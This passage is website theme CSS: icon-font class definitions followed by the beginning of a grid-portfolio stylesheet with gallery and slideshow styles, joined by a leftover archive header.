	content: "\f0f6";
}
.icon-food-2:before {
	content: "\f0f5";
}
.icon-coffee-2:before {
	content: "\f0f4";
}
.icon-bell-alt:before {
	content: "\f0f3";
}
.icon-suitcase:before {
	content: "\f0f2";
}
.icon-stethoscope:before {
	content: "\f0f1";
}
.icon-user-md:before {
	content: "\f0f0";
}
.icon-cloud-upload-3:before {
	content: "\f0ee";
}
.icon-cloud-download-3:before {
	content: "\f0ed";
}
.icon-exchange:before {
	content: "\f0ec";
}
.icon-lightbulb-2:before {
	content: "\f0eb";
}
.icon-paste-4:before {
	content: "\f0ea";
}
.icon-umbrella-2:before {
	content: "\f0e9";
}
.icon-sitemap:before {
	content: "\f0e8";
}
.icon-bolt-3:before {
	content: "\f0e7";
}
.icon-comments-alt:before {
	content: "\f0e6";
}
.icon-comment-alt:before {
	content: "\f0e5";
}
.icon-dashboard-2:before {
	content: "\f0e4";
}
.icon-legal:before {
	content: "\f0e3";
}
.icon-undo-4:before {
	content: "\f0e2";
}
.icon-linkedin-2:before {
	content: "\f0e1";
}
.icon-envelope-alt:before {
	content: "\f0e0";
}
.icon-sort-up:before {
	content: "\f0de";
}
.icon-sort-down:before {
	content: "\f0dd";
}
.icon-sort:before {
	content: "\f0dc";
}
.icon-columns:before {
	content: "\f0db";
}
.icon-caret-right:before {
	content: "\f0da";
}
.icon-caret-left:before {
	content: "\f0d9";
}
.icon-caret-up:before {
	content: "\f0d8";
}
.icon-caret-down:before {
	content: "\f0d7";
}
.icon-money:before {
	content: "\f0d6";
}
.icon-google-plus-5:before {
	content: "\f0d5";
}
.icon-google-plus-sign:before {
	content: "\f0d4";
}
.icon-pinterest-sign:before {
	content: "\f0d3";
}
.icon-pinterest-3:before {
	content: "\f0d2";
}
.icon-truck-2:before {
	content: "\f0d1";
}
.icon-magic:before {
	content: "\f0d0";
}
.icon-table-3:before {
	content: "\f0ce";
}
.icon-underline-2:before {
	content: "\f0cd";
}
.icon-strikethrough-2:before {
	content: "\f0cc";
}
.icon-list-ol:before {
	content: "\f0cb";
}
.icon-list-ul:before {
	content: "\f0ca";
}
.icon-reorder:before {
	content: "\f0c9";
}
.icon-sign-blank:before {
	content: "\f0c8";
}
.icon-save:before {
	content: "\e1ce";
}
.icon-paper-clip:before {
	content: "\f0c6";
}
.icon-copy-4:before {
	content: "\f0c5";
}
.icon-cut:before {
	content: "\f0c4";
}
.icon-beaker-2:before {
	content: "\f0c3";
}
.icon-cloud-9:before {
	content: "\f0c2";
}
.icon-link-3:before {
	content: "\f0c1";
}
.icon-group:before {
	content: "\f0c0";
}
.icon-fullscreen-2:before {
	content: "\f0b2";
}
.icon-briefcase-3:before {
	content: "\f0b1";
}
.icon-filter-4:before {
	content: "\f0b0";
}
.icon-tasks:before {
	content: "\f0ae";
}
.icon-wrench-4:before {
	content: "\f0ad";
}
.icon-globe-2:before {
	content: "\f0ac";
}
.icon-circle-arrow-down:before {
	content: "\f0ab";
}
.icon-circle-arrow-up:before {
	content: "\f0aa";
}
.icon-circle-arrow-right:before {
	content: "\f0a9";
}
.icon-circle-arrow-left:before {
	content: "\f0a8";
}
.icon-hand-down:before {
	content: "\f0a7";
}
.icon-hand-up:before {
	content: "\f0a6";
}
.icon-hand-left:before {
	content: "\f0a5";
}
.icon-hand-right:before {
	content: "\f0a4";
}
.icon-certificate:before {
	content: "\f0a3";
}
.icon-bell-2:before {
	content: "\f0a2";
}
.icon-bullhorn-2:before {
	content: "\f0a1";
}
.icon-hdd:before {
	content: "\f0a0";
}
.icon-rss-2:before {
	content: "\f09e";
}
.icon-credit-2:before {
	content: "\f09d";
}
.icon-unlock:before {
	content: "\f09c";
}
.icon-github-6:before {
	content: "\f09b";
}
.icon-facebook-4:before {
	content: "\f09a";
}
.icon-twitter-5:before {
	content: "\f099";
}
.icon-phone-sign:before {
	content: "\f098";
}
.icon-bookmark-empty:before {
	content: "\f097";
}
.icon-check-empty:before {
	content: "\f096";
}
.icon-phone-3:before {
	content: "\f095";
}
.icon-lemon:before {
	content: "\f094";
}
.icon-upload-alt:before {
	content: "\f093";
}
.icon-github-sign:before {
	content: "\f092";
}
.icon-trophy-3:before {
	content: "\f091";
}
.icon-signin:before {
	content: "\f090";
}
.icon-external-link:before {
	content: "\f08e";
}
.icon-pushpin-2:before {
	content: "\f08d";
}
.icon-linkedin-sign:before {
	content: "\f08c";
}
.icon-signout:before {
	content: "\f08b";
}
.icon-heart-empty:before {
	content: "\f08a";
}
.icon-star-half:before {
	content: "\f089";
}
.icon-thumbs-down-3:before {
	content: "\f088";
}
.icon-thumbs-up-5:before {
	content: "\f087";
}
.icon-comments:before {
	content: "\f086";
}
.icon-cogs-2:before {
	content: "\f085";
}
.icon-key-4:before {
	content: "\f084";
}
.icon-camera-retro:before {
	content: "\f083";
}
.icon-facebook-sign:before {
	content: "\f082";
}
.icon-twitter-sign:before {
	content: "\f081";
}
.icon-bar-chart:before {
	content: "\f080";
}
.icon-resize-horizontal:before {
	content: "\f07e";
}
.icon-resize-vertical:before {
	content: "\f07d";
}
.icon-folder-open-2:before {
	content: "\f07c";
}
.icon-folder-close:before {
	content: "\f07b";
}
.icon-shopping-cart:before {
	content: "\f07a";
}
.icon-retweet:before {
	content: "\f079";
}
.icon-chevron-down:before {
	content: "\f078";
}
.icon-chevron-up:before {
	content: "\f077";
}
.icon-magnet-2:before {
	content: "\f076";
}
.icon-comment-2:before {
	content: "\f075";
}
.icon-random:before {
	content: "\f074";
}
.icon-calendar-5:before {
	content: "\f073";
}
.icon-plane:before {
	content: "\f072";
}
.icon-warning-sign:before {
	content: "\f071";
}
.icon-eye-close:before {
	content: "\f070";
}
.icon-eye-open:before {
	content: "\f06e";
}
.icon-fire-2:before {
	content: "\f06d";
}
.icon-leaf-2:before {
	content: "\f06c";
}
.icon-gift-3:before {
	content: "\f06b";
}
.icon-exclamation-sign:before {
	content: "\f06a";
}
.icon-asterisk:before {
	content: "\f069";
}
.icon-minus-4:before {
	content: "\f068";
}
.icon-plus-4:before {
	content: "\f067";
}
.icon-resize-small:before {
	content: "\f066";
}
.icon-resize-full:before {
	content: "\f065";
}
.icon-share-alt:before {
	content: "\f064";
}
.icon-arrow-down-5:before {
	content: "\f063";
}
.icon-arrow-up-5:before {
	content: "\f062";
}
.icon-arrow-right-5:before {
	content: "\f061";
}
.icon-arrow-left-5:before {
	content: "\f060";
}
.icon-ban-circle:before {
	content: "\f05e";
}
.icon-ok-circle:before {
	content: "\f05d";
}
.icon-remove-circle:before {
	content: "\f05c";
}
.icon-screenshot:before {
	content: "\f05b";
}
.icon-info-sign:before {
	content: "\f05a";
}
.icon-question-sign:before {
	content: "\f059";
}
.icon-ok-sign:before {
	content: "\f058";
}
.icon-remove-sign:before {
	content: "\f057";
}
.icon-minus-sign:before {
	content: "\f056";
}
.icon-plus-sign-2:before {
	content: "\f055";
}
.icon-chevron-right:before {
	content: "\f054";
}
.icon-chevron-left:before {
	content: "\f053";
}
.icon-eject-3:before {
	content: "\f052";
}
.icon-step-forward:before {
	content: "\f051";
}
.icon-fast-forward:before {
	content: "\f050";
}
.icon-forward-5:before {
	content: "\f04e";
}
.icon-stop-5:before {
	content: "\f04d";
}
.icon-pause-5:before {
	content: "\f04c";
}
.icon-play-6:before {
	content: "\f04b";
}
.icon-backward-3:before {
	content: "\f04a";
}
.icon-fast-backward:before {
	content: "\f049";
}
.icon-step-backward:before {
	content: "\f048";
}
.icon-move-3:before {
	content: "\f047";
}
.icon-check:before {
	content: "\f046";
}
.icon-share-3:before {
	content: "\f045";
}
.icon-edit:before {
	content: "\f044";
}
.icon-tint:before {
	content: "\f043";
}
.icon-adjust:before {
	content: "\f042";
}
.icon-map-marker:before {
	content: "\f041";
}
.icon-pencil-4:before {
	content: "\f040";
}
.icon-picture-2:before {
	content: "\f03e";
}
.icon-facetime-video:before {
	content: "\f03d";
}
.icon-indent-right:before {
	content: "\f03c";
}
.icon-indent-left:before {
	content: "\f03b";
}
.icon-list-5:before {
	content: "\f03a";
}
.icon-align-justify:before {
	content: "\f039";
}
.icon-align-right:before {
	content: "\f038";
}
.icon-align-center:before {
	content: "\f037";
}
.icon-align-left:before {
	content: "\f036";
}
.icon-text-width-2:before {
	content: "\f035";
}
.icon-text-height-2:before {
	content: "\f034";
}
.icon-italic-2:before {
	content: "\f033";
}
.icon-bold-2:before {
	content: "\f032";
}
.icon-font-2:before {
	content: "\f031";
}
.icon-camera-6:before {
	content: "\f030";
}
.icon-print-2:before {
	content: "\f02f";
}
.icon-bookmark-4:before {
	content: "\f02e";
}
.icon-book-3:before {
	content: "\f02d";
}
.icon-tags-2:before {
	content: "\f02c";
}
.icon-tag-3:before {
	content: "\f02b";
}
.icon-barcode-2:before {
	content: "\f02a";
}
.icon-qrcode-2:before {
	content: "\f029";
}
.icon-volume-up:before {
	content: "\f028";
}
.icon-volume-down:before {
	content: "\f027";
}
.icon-volume-off:before {
	content: "\f026";
}
.icon-headphones-4:before {
	content: "\f025";
}
.icon-flag-3:before {
	content: "\f024";
}
.icon-lock-3:before {
	content: "\f023";
}
.icon-list-alt:before {
	content: "\f022";
}
.icon-refresh-2:before {
	content: "\f021";
}
.icon-repeat:before {
	content: "\f01e";
}
.icon-play-circle:before {
	content: "\f01d";
}
.icon-inbox-2:before {
	content: "\f01c";
}
.icon-upload-5:before {
	content: "\f01b";
}
.icon-download-5:before {
	content: "\f01a";
}
.icon-download-alt:before {
	content: "\f019";
}
.icon-road-2:before {
	content: "\f018";
}
.icon-time:before {
	content: "\f017";
}
.icon-file-7:before {
	content: "\f016";
}
.icon-home-6:before {
	content: "\f015";
}
.icon-trash:before {
	content: "\f014";
}
.icon-cog-5:before {
	content: "\f013";
}
.icon-signal:before {
	content: "\f012";
}
.icon-off:before {
	content: "\f011";
}
.icon-zoom-out-2:before {
	content: "\f010";
}
.icon-zoom-in-2:before {
	content: "\f00e";
}
.icon-remove-3:before {
	content: "\f00d";
}
.icon-ok:before {
	content: "\f00c";
}
.icon-th-list:before {
	content: "\f00b";
}
.icon-th:before {
	content: "\f00a";
}
.icon-th-large:before {
	content: "\f009";
}
.icon-film-3:before {
	content: "\f008";
}
.icon-user-7:before {
	content: "\f007";
}
.icon-star-empty:before {
	content: "\f006";
}
.icon-star-7:before {
	content: "\f005";
}
.icon-heart-4:before {
	content: "\f004";
}
.icon-envelope-2:before {
	content: "\f003";
}
.icon-search-3:before {
	content: "\f002";
}
.icon-music-3:before {
	content: "\f001";
}
.icon-glass-2:before {
	content: "\f000";
}
.icon-smashing:before {
	content: "\e30a";
}
.icon-vk-2:before {
	content: "\e30b";
}
.icon-circles:before {
	content: "\e30c";
}
.icon-behance:before {
	content: "\e30d";
}
.icon-mixi:before {
	content: "\e30e";
}
.icon-soundcloud-3:before {
	content: "\e30f";
}
.icon-picasa:before {
	content: "\e310";
}
.icon-paypal-4:before {
	content: "\e311";
}
.icon-sina-weibo:before {
	content: "\e312";
}
.icon-renren-2:before {
	content: "\e313";
}
.icon-skype-4:before {
	content: "\e314";
}
.icon-skype-5:before {
	content: "\e315";
}
.icon-flattr-2:before {
	content: "\e316";
}
.icon-evernote:before {
	content: "\e317";
}
.icon-dropbox-2:before {
	content: "\e318";
}
.icon-instagram-3:before {
	content: "\e319";
}
.icon-qq:before {
	content: "\e31a";
}
.icon-spotify:before {
	content: "\e31b";
}
.icon-spotify-2:before {
	content: "\e31c";
}
.icon-rdio:before {
	content: "\e31d";
}
.icon-rdio-2:before {
	content: "\e31e";
}
.icon-lastfm-3:before {
	content: "\e31f";
}
.icon-lastfm-4:before {
	content: "\e320";
}
.icon-stumbleupon-3:before {
	content: "\e321";
}
.icon-stumbleupon-4:before {
	content: "\e322";
}
.icon-dribbble-6:before {
	content: "\e323";
}
.icon-dribbble-7:before {
	content: "\e324";
}
.icon-linkedin-3:before {
	content: "\e325";
}
.icon-linkedin-4:before {
	content: "\e326";
}
.icon-tumblr-4:before {
	content: "\e327";
}
.icon-tumblr-5:before {
	content: "\e328";
}
.icon-pinterest-4:before {
	content: "\e329";
}
.icon-pinterest-5:before {
	content: "\e32a";
}
.icon-googleplus:before {
	content: "\e32b";
}
.icon-googleplus-2:before {
	content: "\e32c";
}
.icon-facebook-5:before {
	content: "\e32d";
}
.icon-facebook-6:before {
	content: "\e32e";
}
.icon-facebook-7:before {
	content: "\e32f";
}
.icon-twitter-6:before {
	content: "\e330";
}
.icon-twitter-7:before {
	content: "\e331";
}
.icon-vimeo-3:before {
	content: "\e332";
}
.icon-vimeo-4:before {
	content: "\e333";
}
.icon-flickr-6:before {
	content: "\e334";
}
.icon-flickr-7:before {
	content: "\e335";
}
.icon-github-7:before {
	content: "\e336";
}
.icon-github-8:before {
	content: "\e337";
}
.icon-daniel-bruce:before {
	content: "\e338";
}
.icon-daniel-bruce-2:before {
	content: "\e339";
}
.icon-cc-share:before {
	content: "\e33a";
}
.icon-cc-share-2:before {
	content: "\e33b";
}
.icon-cc-zero:before {
	content: "\e33c";
}
.icon-cc-pd:before {
	content: "\e33d";
}
.icon-cc-nd:before {
	content: "\e33e";
}
.icon-cc-sa:before {
	content: "\e33f";
}
.icon-cc-nc-jp:before {
	content: "\e340";
}
.icon-cc-nc-eu:before {
	content: "\e341";
}
.icon-cc-nc:before {
	content: "\e342";
}
.icon-cc-by:before {
	content: "\e343";
}
.icon-cc:before {
	content: "\e344";
}
.icon-dot:before {
	content: "\e345";
}
.icon-dots:before {
	content: "\e346";
}
.icon-ellipsis:before {
	content: "\e347";
}
.icon-menu-3:before {
	content: "\e348";
}
.icon-arrow-right-6:before {
	content: "\e349";
}
.icon-arrow-up-6:before {
	content: "\e34a";
}
.icon-arrow-down-6:before {
	content: "\e34b";
}
.icon-arrow-left-6:before {
	content: "\e34c";
}
.icon-untitled:before {
	content: "\e34d";
}
.icon-arrow-up-7:before {
	content: "\e34e";
}
.icon-arrow-down-7:before {
	content: "\e34f";
}
.icon-arrow-left-7:before {
	content: "\e350";
}
.icon-arrow-right-7:before {
	content: "\e351";
}
.icon-arrow-up-8:before {
	content: "\e352";
}
.icon-arrow-down-8:before {
	content: "\e353";
}
.icon-arrow-left-8:before {
	content: "\e354";
}
.icon-arrow-right-8:before {
	content: "\e355";
}
.icon-arrow-up-9:before {
	content: "\e356";
}
.icon-arrow-down-9:before {
	content: "\e357";
}
.icon-arrow-left-9:before {
	content: "\e358";
}
.icon-arrow-right-9:before {
	content: "\e359";
}
.icon-arrow-up-10:before {
	content: "\e35a";
}
.icon-arrow-down-10:before {
	content: "\e35b";
}
.icon-arrow-left-10:before {
	content: "\e35c";
}
.icon-arrow-right-10:before {
	content: "\e35d";
}
.icon-arrow-up-11:before {
	content: "\e35e";
}
.icon-arrow-down-11:before {
	content: "\e35f";
}
.icon-arrow-left-11:before {
	content: "\e360";
}
.icon-arrow-right-11:before {
	content: "\e361";
}
.icon-arrow-up-12:before {
	content: "\e362";
}
.icon-arrow-down-12:before {
	content: "\e363";
}
.icon-arrow-left-12:before {
	content: "\e364";
}
.icon-arrow-right-12:before {
	content: "\e365";
}
.icon-arrow-up--upload:before {
	content: "\e366";
}
.icon-arrow-down-13:before {
	content: "\e367";
}
.icon-arrow-left-13:before {
	content: "\e368";
}
.icon-flow-parallel:before {
	content: "\e369";
}
.icon-flow-line:before {
	content: "\e36a";
}
.icon-flow-tree:before {
	content: "\e36b";
}
.icon-flow-branch:before {
	content: "\e36c";
}
.icon-flow-cascade:before {
	content: "\e36d";
}
.icon-mute:before {
	content: "\e36e";
}
.icon-sound:before {
	content: "\e36f";
}
.icon-volume-4:before {
	content: "\e370";
}
.icon-resize-shrink:before {
	content: "\e371";
}
.icon-resize-enlarge:before {
	content: "\e372";
}
.icon-last-3:before {
	content: "\e373";
}
.icon-first-3:before {
	content: "\e374";
}
.icon-previous-2:before {
	content: "\e375";
}
.icon-next-2:before {
	content: "\e376";
}
.icon-stop-6:before {
	content: "\e377";
}
.icon-record:before {
	content: "\e378";
}
.icon-pause-6:before {
	content: "\e379";
}
.icon-play-7:before {
	content: "\e37a";
}
.icon-book-4:before {
	content: "\e37b";
}
.icon-bookmarks-2:before {
	content: "\e37c";
}
.icon-bookmark-5:before {
	content: "\e37d";
}
.icon-upload-6:before {
	content: "\e37e";
}
.icon-cloud-10:before {
	content: "\e37f";
}
.icon-install:before {
	content: "\e380";
}
.icon-disk-3:before {
	content: "\e381";
}
.icon-download-6:before {
	content: "\e382";
}
.icon-upload-7:before {
	content: "\e383";
}
.icon-trash-2:before {
	content: "\e384";
}
.icon-archive-2:before {
	content: "\e385";
}
.icon-folder-3:before {
	content: "\e386";
}
.icon-music-4:before {
	content: "\e387";
}
.icon-video:before {
	content: "\e388";
}
.icon-pictures:before {
	content: "\e389";
}
.icon-landscape:before {
	content: "\e38a";
}
.icon-docs:before {
	content: "\e38b";
}
.icon-document:before {
	content: "\e38c";
}
.icon-text:before {
	content: "\e38d";
}
.icon-text-2:before {
	content: "\e38e";
}
.icon-list-6:before {
	content: "\e38f";
}
.icon-layout:before {
	content: "\e390";
}
.icon-add-to-list:before {
	content: "\e391";
}
.icon-list-7:before {
	content: "\e392";
}
.icon-switch-3:before {
	content: "\e393";
}
.icon-back:before {
	content: "\e394";
}
.icon-history-2:before {
	content: "\e395";
}
.icon-loop-5:before {
	content: "\e396";
}
.icon-retweet-2:before {
	content: "\e397";
}
.icon-arrow:before {
	content: "\e398";
}
.icon-arrow-2:before {
	content: "\e399";
}
.icon-shuffle-2:before {
	content: "\e39a";
}
.icon-ccw:before {
	content: "\e39b";
}
.icon-cw:before {
	content: "\e39c";
}
.icon-cycle:before {
	content: "\e39d";
}
.icon-warning-3:before {
	content: "\e39e";
}
.icon-help:before {
	content: "\e39f";
}
.icon-question-3:before {
	content: "\e3a0";
}
.icon-info-6:before {
	content: "\e3a1";
}
.icon-info-7:before {
	content: "\e3a2";
}
.icon-blocked-3:before {
	content: "\e3a3";
}
.icon-erase:before {
	content: "\e3a4";
}
.icon-plus-5:before {
	content: "\e3a5";
}
.icon-minus-5:before {
	content: "\e3a6";
}
.icon-cross:before {
	content: "\e3a7";
}
.icon-plus-6:before {
	content: "\e3a8";
}
.icon-minus-6:before {
	content: "\e3a9";
}
.icon-cross-2:before {
	content: "\e3aa";
}
.icon-plus-7:before {
	content: "\e3ab";
}
.icon-minus-7:before {
	content: "\e3ac";
}
.icon-cross-3:before {
	content: "\e3ad";
}
.icon-checkmark-5:before {
	content: "\e3ae";
}
.icon-login:before {
	content: "\e3af";
}
.icon-logout:before {
	content: "\e3b0";
}
.icon-lock-open:before {
	content: "\e3b1";
}
.icon-lock-4:before {
	content: "\e3b2";
}
.icon-graph:before {
	content: "\e3b3";
}
.icon-bars-4:before {
	content: "\e3b4";
}
.icon-pie-2:before {
	content: "\e3b5";
}
.icon-statistics:before {
	content: "\e3b6";
}
.icon-untitled-2:before {
	content: "\e3b7";
}
.icon-droplets:before {
	content: "\e3b8";
}
.icon-thermometer-2:before {
	content: "\e3b9";
}
.icon-signal-2:before {
	content: "\e3ba";
}
.icon-rss-3:before {
	content: "\e3bb";
}
.icon-ticket-3:before {
	content: "\e3bc";
}
.icon-box-2:before {
	content: "\e3bd";
}
.icon-cart-5:before {
	content: "\e3be";
}
.icon-clipboard:before {
	content: "\e3bf";
}
.icon-voicemail:before {
	content: "\e3c0";
}
.icon-database-2:before {
	content: "\e3c1";
}
.icon-credit-card-2:before {
	content: "\e3c2";
}
.icon-light-bulb:before {
	content: "\e3c3";
}
.icon-infinity:before {
	content: "\e3c4";
}
.icon-screen-2:before {
	content: "\e3c5";
}
.icon-code-4:before {
	content: "\e3c6";
}
.icon-adjust-2:before {
	content: "\e3c7";
}
.icon-sun-5:before {
	content: "\e3c8";
}
.icon-sun-6:before {
	content: "\e3c9";
}
.icon-progress-0:before {
	content: "\e3ca";
}
.icon-brogress-1:before {
	content: "\e3cb";
}
.icon-progress-2:before {
	content: "\e3cc";
}
.icon-progress-3:before {
	content: "\e3cd";
}
.icon-publish:before {
	content: "\e3ce";
}
.icon-browser:before {
	content: "\e3cf";
}
.icon-keyboard-4:before {
	content: "\e3d0";
}
.icon-earth-3:before {
	content: "\e3d1";
}
.icon-cone-2:before {
	content: "\e3d2";
}
.icon-suitcase-2:before {
	content: "\e3d3";
}
.icon-brush-2:before {
	content: "\e3d4";
}
.icon-rocket-3:before {
	content: "\e3d5";
}
.icon-cup:before {
	content: "\e3d6";
}
.icon-drive:before {
	content: "\e3d7";
}
.icon-magnet-3:before {
	content: "\e3d8";
}
.icon-bucket:before {
	content: "\e3d9";
}
.icon-battery-2:before {
	content: "\e3da";
}
.icon-key-5:before {
	content: "\e3db";
}
.icon-network:before {
	content: "\e3dc";
}
.icon-language:before {
	content: "\e3dd";
}
.icon-gauge:before {
	content: "\e3de";
}
.icon-hourglass:before {
	content: "\e3df";
}
.icon-air:before {
	content: "\e3e0";
}
.icon-briefcase-4:before {
	content: "\e3e1";
}
.icon-cd-2:before {
	content: "\e3e2";
}
.icon-droplet-3:before {
	content: "\e3e3";
}
.icon-thunder:before {
	content: "\e3e4";
}
.icon-bolt-4:before {
	content: "\e3e5";
}
.icon-calendar-6:before {
	content: "\e3e6";
}
.icon-microphone-3:before {
	content: "\e3e7";
}
.icon-clock-5:before {
	content: "\e3e8";
}
.icon-eye-5:before {
	content: "\e3e9";
}
.icon-lifebuoy:before {
	content: "\e3ea";
}
.icon-airplane-2:before {
	content: "\e3eb";
}
.icon-bag:before {
	content: "\e3ec";
}
.icon-newspaper-2:before {
	content: "\e3ed";
}
.icon-book-5:before {
	content: "\e3ee";
}
.icon-graduation:before {
	content: "\e3ef";
}
.icon-new:before {
	content: "\e3f0";
}
.icon-music-5:before {
	content: "\e3f1";
}
.icon-music-6:before {
	content: "\e3f2";
}
.icon-leaf-3:before {
	content: "\e3f3";
}
.icon-palette:before {
	content: "\e3f4";
}
.icon-moon-4:before {
	content: "\e3f5";
}
.icon-megaphone:before {
	content: "\e3f6";
}
.icon-camera-7:before {
	content: "\e3f7";
}
.icon-tag-4:before {
	content: "\e3f8";
}
.icon-trophy-4:before {
	content: "\e3f9";
}
.icon-tools:before {
	content: "\e3fa";
}
.icon-cog-6:before {
	content: "\e3fb";
}
.icon-flag-4:before {
	content: "\e3fc";
}
.icon-link-4:before {
	content: "\e3fd";
}
.icon-bell-3:before {
	content: "\e3fe";
}
.icon-printer:before {
	content: "\e3ff";
}
.icon-flashlight:before {
	content: "\e400";
}
.icon-search-4:before {
	content: "\e401";
}
.icon-popup:before {
	content: "\e402";
}
.icon-house:before {
	content: "\e403";
}
.icon-quote:before {
	content: "\e404";
}
.icon-comment-3:before {
	content: "\e405";
}
.icon-chat-2:before {
	content: "\e406";
}
.icon-thumbs-down-4:before {
	content: "\e407";
}
.icon-thumbs-up-6:before {
	content: "\e408";
}
.icon-star-8:before {
	content: "\e409";
}
.icon-star-9:before {
	content: "\e40a";
}
.icon-heart-5:before {
	content: "\e40b";
}
.icon-heart-6:before {
	content: "\e40c";
}
.icon-sharable:before {
	content: "\e40d";
}
.icon-share-4:before {
	content: "\e40e";
}
.icon-target-6:before {
	content: "\e40f";
}
.icon-location-5:before {
	content: "\e410";
}
.icon-compass-6:before {
	content: "\e411";
}
.icon-map-3:before {
	content: "\e412";
}
.icon-location-6:before {
	content: "\e413";
}
.icon-export:before {
	content: "\e414";
}
.icon-vcard:before {
	content: "\e415";
}
.icon-user-add:before {
	content: "\e416";
}
.icon-users-3:before {
	content: "\e417";
}
.icon-user-8:before {
	content: "\e418";
}
.icon-forward-6:before {
	content: "\e419";
}
.icon-reply-all-2:before {
	content: "\e41a";
}
.icon-reply-3:before {
	content: "\e41b";
}
.icon-drawer-4:before {
	content: "\e41c";
}
.icon-paperclip-3:before {
	content: "\e41d";
}
.icon-feather:before {
	content: "\e41e";
}
.icon-pencil-5:before {
	content: "\e41f";
}
.icon-paperplane:before {
	content: "\e420";
}
.icon-mail-6:before {
	content: "\e421";
}
.icon-directions:before {
	content: "\e422";
}
.icon-mouse-2:before {
	content: "\e423";
}
.icon-mobile-5:before {
	content: "\e424";
}
.icon-phone-4:before {
	content: "\e425";
}

.icon-apply:before{
	content:"\f044";
}

.st-bgvideo span.st-name:before {
    content: "\e2c4" !important;
}PK!ݑ��'bluetheme/assets/css/grid-portfolio.cssnu&1i�@font-face {
	font-family: 'fontawesome';
	src:url('../fonts/fontawesome/fontawesome.eot?-e43dk9');
	src:url('../fonts/fontawesome/fontawesome.eot?#iefix-e43dk9') format('embedded-opentype'),
		url('../fonts/fontawesome/fontawesome.woff?-e43dk9') format('woff'),
		url('../fonts/fontawesome/fontawesome.ttf?-e43dk9') format('truetype'),
		url('../fonts/fontawesome/fontawesome.svg?-e43dk9#fontawesome') format('svg');
	font-weight: normal;
	font-style: normal;
} /* Made with http://icomoon.io/app */

/* General style */
.grid-gallery ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

.grid-gallery figure {
	margin: 0;
}

.grid-gallery figure img {
	display: block;
	width: 100%;
}

.grid-gallery figcaption h3 {
	font-family:"MontserratRegular";
	text-transform: uppercase;
	margin-top: 0;
	margin-bottom: 0;
	font-size: 18px;
	line-height: 25px;
}

.grid-gallery figcaption p {
	margin: 0;
	margin-top: 5px;
}

/* Grid style */
.grid-wrap {
	/*max-width: 69em;*/
	margin: 0 auto;
	padding: 0 1em 1.875em;
}

.grid {
	margin: 0 auto;
}

.grid li {
	width: 25%;
	float: left;
	cursor: pointer;
	-webkit-transition: all .4s ease-in-out;
	   -moz-transition: all .4s ease-in-out;
		-ms-transition: all .4s ease-in-out;
		 -o-transition: all .4s ease-in-out;
			transition: all .4s ease-in-out;
}
.folio-item-shadow{
    -moz-box-shadow: -1px 1px 3px #000000;
    -webkit-box-shadow: -1px 1px 3px #000000;
    box-shadow: -1px 1px 3px #000000;
}

.grid figure {
	-webkit-transition: opacity 0.2s;
	transition: opacity 0.2s;
	/*padding: 10px;*/
	background: #fff;
	margin: 5px;
}

.grid li:hover figure{
	opacity: 1;
	z-index: 19;
}

.grid figcaption {
	background: #eee;
	padding: 25px;
	z-index: 99;
}
/*
.thumb-img{
	height: 100%;
	width: 100%:;
}
.thumb-img .PStyleHe {position: absolute;background: url(../images/plus.png) no-repeat scroll center center / 100% 100% #222222;width: 90%;height: 100%;z-index: 199;-webkit-background-origin: padding-box, padding-box;-moz-background-origin: padding-box, padding-box;-ms-background-origin: padding-box, padding-box;-o-background-origin: padding-box, padding-box;background-origin: padding-box, padding-box;background-position: center center;background-repeat: no-repeat;-webkit-background-size: 10px 10px, 100% 100%;-moz-background-size: 10px 10px, 100% 100%;-ms-background-size: 10px 10px, 100% 100%;-o-background-size: 10px 10px, 100% 100%;background-size: 10px 10px, 100% 100%;opacity: 0;top: 0;-webkit-transition: all 0.3s ease 0s;-moz-transition: all 0.3s ease 0s;-ms-transition: all 0.3s ease 0s;-o-transition: all 0.3s ease 0s;transition: all 0.3s ease 0s;}
.thumb-img :hover .PStyleHe {opacity: .6;-webkit-background-size: 60px 60px, 100% 100%;-moz-background-size: 60px 60px, 100% 100%;-ms-background-size: 60px 60px, 100% 100%;-o-background-size: 60px 60px, 100% 100%;background-size: 60px 60px, 100% 100%;visibility: visible; }
*/
.grid li:hover figcaption {
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.grid li h3, .grid li p, .grid li .liner-small{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}
.grid li:hover h3, .grid li:hover p, .grid li:hover .liner-small{
	-webkit-transition: all .8s linear;
	   -moz-transition: all .8s linear;
		-ms-transition: all .8s linear;
		 -o-transition: all .8s linear;
			transition: all .8s linear;
}

/* Slideshow style */
.slideshow {
	position: fixed;
	background: rgba(0,0,0,0.6);
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	z-index: 500;
	opacity: 0;
	visibility: hidden;
	overflow: hidden;
	-webkit-perspective: 1000px;
	perspective: 1000px;
	-webkit-transition: opacity 0.5s, visibility 0s 0.5s;
	transition: opacity 0.5s, visibility 0s 0.5s;
}

.slideshow-open .slideshow {
	opacity: 1;
	visibility: visible;
	-webkit-transition: opacity 0.5s;
	transition: opacity 0.5s;
}

.slideshow ul {
	width: 100%;
	height: 100%;
	-webkit-transform-style: preserve-3d;
	transform-style: preserve-3d;
	-webkit-transform: translate3d(0,0,150px);
	transform: translate3d(0,0,150px);
	-webkit-transition: -webkit-transform 0.5s;
	transition: transform 0.5s;
}

.slideshow ul.animatable li {
	-webkit-transition: -webkit-transform 0.5s;
	transition: transform 0.5s;
}

.slideshow-open .slideshow ul {
	-webkit-transform: translate3d(0,0,0);
	transform: translate3d(0,0,0);
}

.slideshow li {
	width: 660px;
	height: 560px;
	position: absolute;
	top: 50%;
	left: 50%;
	margin: -280px 0 0 -330px;
	visibility: hidden;
}

.slideshow li.show {
	visibility: visible;
}

.slideshow li:after {
	content: '';
	position: absolute;
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	background: rgba(255,255,255,0.8);
	-webkit-transition: opacity 0.3s;
	transition: opacity 0.3s;
}

.slideshow li.current:after {
	visibility: hidden;
	opacity: 0;
	-webkit-transition: opacity 0.3s, visibility 0s 0.3s;
	transition: opacity 0.3s, visibility 0s 0.3s;
}

.slideshow figure {
	width: 100%;
	height: 100%;
	background: #fff;
	border: 50px solid #fff;
	overflow: hidden;
}

.slideshow figcaption {
	padding-bottom: 20px;
}

.slideshow figcaption h3 {
	font-weight: 300;
	font-size: 200%;
}

/* Navigation */
.slideshow nav span {
	position: fixed;
